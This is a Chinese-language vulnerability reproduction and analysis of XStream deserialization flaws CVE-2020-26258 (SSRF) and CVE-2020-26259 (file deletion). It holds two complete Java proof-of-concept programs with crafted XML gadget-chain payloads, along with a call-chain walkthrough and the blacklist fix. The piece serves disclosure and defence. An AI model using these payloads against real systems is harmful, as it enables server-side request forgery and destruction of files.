XStream 反序列化漏洞 (CVE-2020-26258 & 26259) 的复现与分析 – 作者:奇安信代码卫士

Xstream 是 Java 类库，用来将对象序列化成 XML (JSON) 或反序列化为对象。XStream 是一款开源软件，允许在 BSD 许可证的许可下分发。

0x01 漏洞描述

Xstream上次对CVE-2020-26217处理并不彻底，虽然通过黑名单方法阻止了远程代码执行，但是仍然可以采用类似思路实现文件删除与服务器请求伪造。

影响版本

Xstream < = 1.4.14

修复版本

Xstream > = 1.4.15

风险等级

严重

0x02 PoC

CVE-2020-26258的 PoC 如下：

import com.thoughtworks.xstream.XStream;​/*CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshallingwith XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.All versions until and including version 1.4.14https://x-stream.github.io/CVE-2020-26258.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/public class CVE_2020_26258 {public static void main(String[] args) {String ssrf_xml = "<map>\n" +"  <entry>\n" +"    <jdk.nashorn.internal.objects.NativeString>\n" +"      <flags>0</flags>\n" +"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +"        <dataHandler>\n" +"          <dataSource class='javax.activation.URLDataSource'>\n" +"            <url>http://localhost:8989/internal/:</url>\n" +"          </dataSource>\n" +"          <transferFlavors/>\n" +"        </dataHandler>\n" +"        <dataLen>0</dataLen>\n" +"      </value>\n" +"    </jdk.nashorn.internal.objects.NativeString>\n" +"    <string>test</string>\n" +"  </entry>\n" +"</map>";​XStream xstream = new XStream();xstream.fromXML(ssrf_xml);​}}​

CVE-2020-26259 的 PoC 如下：

import com.thoughtworks.xstream.XStream;​/*CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local hostwhen unmarshalling as long as the executing process has sufficient rights.https://x-stream.github.io/CVE-2020-26259.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/​public class CVE_2020_26259 {public static void main(String[] args) {String xml_poc = "<map>\n" +"  <entry>\n" +"    <jdk.nashorn.internal.objects.NativeString>\n" +"      <flags>0</flags>\n" +"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +"        <dataHandler>\n" +"          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +"            <contentType>text/plain</contentType>\n" +"            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +"              <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +"            </is>\n" +"          </dataSource>\n" +"          <transferFlavors/>\n" +"        </dataHandler>\n" +"        <dataLen>0</dataLen>\n" +"      </value>\n" +"    </jdk.nashorn.internal.objects.NativeString>\n" +"    <string>test</string>\n" +"  </entry>\n" +"</map>";​XStream xstream = new XStream();xstream.fromXML(xml_poc);}​}

0x03 漏洞详情

复现流程

环境

idea 构建maven工程，使用上述 PoC，pom文件为：

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion>​<groupId>1</groupId><artifactId>1</artifactId><version>1.0-SNAPSHOT</version><!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream --><dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.14</version></dependency></dependencies>​​</project>

直接运行即可。

复现

• CVE-2020-26258

使用 flask 开一个临时服务

运行 PoC 收到请求

• CVE-2020-26259

运行 PoC 前：

运行 PoC 后：

漏洞分析

这两个漏洞基本类似上次的CVE-2020-26217，主要是利用 Xstream 在反序列化map 对象时会检查是否存在 entry：如果存在，那么在构建这个 entry 的过程中，会调用 entry 的hashCode 函数。CVE-2020-26217与本次两个都是使用到了jdk.nashorn.internal.objects.NativeString 的 hashCode函数。

调试分析

使用 xstream 的 fromXml 进行反序列化：

跟进到 putCurrentEntryIntoMap，在 Xstream 构建 entry 的过程中，将本次的key 值即我们提供的 NativeString， put 到 map中：

put 过程会进行一步 hash 操作：

在 hash 里调用了key 的 hashCode 函数，即我们输入的jdk.nashorn.internal.objects.NativeString 的 hashCode 函数。

NativeString 的 hashCode 函数调用 getStringValue，进而调用其 value 的toString 函数，而这个value则是我们提供的com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data。

Base64Data 的 toString 调用了其 get。

目前为止，这两个漏洞与CVE-2020-26217一致。CVE-2020-26217 利用的是readFrom 及其后续，不过因为 Xstream 黑名单限制了进行远程代码执行，这里利用 getInputStream 与 close 进行 ssrf 和文件删除。

InputStream is = this.dataHandler.getDataSource().getInputStream();是触发ssrf的地方，使用 javax.activation.URLDataSource 的 getInputStream 函数：

URLDataSource 的 getInputStream 函数就是访问传入的 url。

文件删除则是在 ReadAllStream 的 close里进行的。

修复分析

添加黑名单。

0x04 参考文献

• https://xz.aliyun.com/t/8526

• https://github.com/x-stream/xstream/commit/0bcbf50126a62dfcd65f93a0da0c6d1ae92aa738

• http://x-stream.github.io/CVE-2020-26258.html

• http://x-stream.github.io/CVE-2020-26259.html

注：奇安信开源卫士20201214. 529版本已支持对这两个 XStream 漏洞的检测。

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题图：Pixabay License

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来源：freebuf.com 2020-12-21 15:11:06 by: 奇安信代码卫士